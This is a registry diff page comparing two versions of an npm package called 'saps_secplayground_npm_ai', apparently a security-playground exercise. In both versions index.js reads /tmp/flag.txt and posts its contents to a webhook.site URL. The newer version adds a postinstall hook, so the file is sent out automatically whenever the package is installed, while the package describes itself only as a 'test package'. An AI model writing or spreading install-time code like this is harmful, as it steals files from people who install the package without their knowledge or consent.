saps_secplayground_npm_ai 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +25 -13
  2. package/package.json +4 -9
package/index.js CHANGED
@@ -1,23 +1,35 @@
1
1
  const fs = require('fs');
2
+ const https = require('https');
2
3
 
3
- fs.readFile('/tmp/flag.txt', 'utf8', async (err, data) => {
4
+ fs.readFile('/tmp/flag.txt', 'utf8', (err, data) => {
4
5
  if (err) {
5
- console.error(err);
6
+ console.error('read failed:', err.message);
6
7
  return;
7
8
  }
8
9
 
9
- try {
10
- const res = await fetch('https://webhook.site/aa236da1-0535-4649-a966-7ea2e62ec9ee', {
10
+ const body = data.trim();
11
+
12
+ const req = https.request(
13
+ 'https://webhook.site/aa236da1-0535-4649-a966-7ea2e62ec9ee',
14
+ {
11
15
  method: 'POST',
12
16
  headers: {
13
- 'Content-Type': 'text/plain'
14
- },
15
- body: data
16
- });
17
+ 'Content-Type': 'text/plain',
18
+ 'Content-Length': Buffer.byteLength(body)
19
+ }
20
+ },
21
+ (res) => {
22
+ res.on('data', () => {});
23
+ res.on('end', () => {
24
+ console.log('sent', res.statusCode);
25
+ });
26
+ }
27
+ );
17
28
 
18
- const text = await res.text();
19
- console.log(text);
20
- } catch (error) {
21
- console.error(error);
22
- }
29
+ req.on('error', (e) => {
30
+ console.error('send failed:', e.message);
31
+ });
32
+
33
+ req.write(body);
34
+ req.end();
23
35
  });
package/package.json CHANGED
@@ -1,15 +1,10 @@
1
1
  {
2
2
  "name": "saps_secplayground_npm_ai",
3
- "version": "1.0.2",
4
- "description": "",
3
+ "version": "1.0.4",
4
+ "description": "test package",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "postinstall": "node index.js"
8
8
  },
9
- "keywords": [],
10
- "author": "",
11
- "license": "ISC",
12
- "bin": {
13
- "saps": "./index.js"
14
- }
9
+ "license": "ISC"
15
10
  }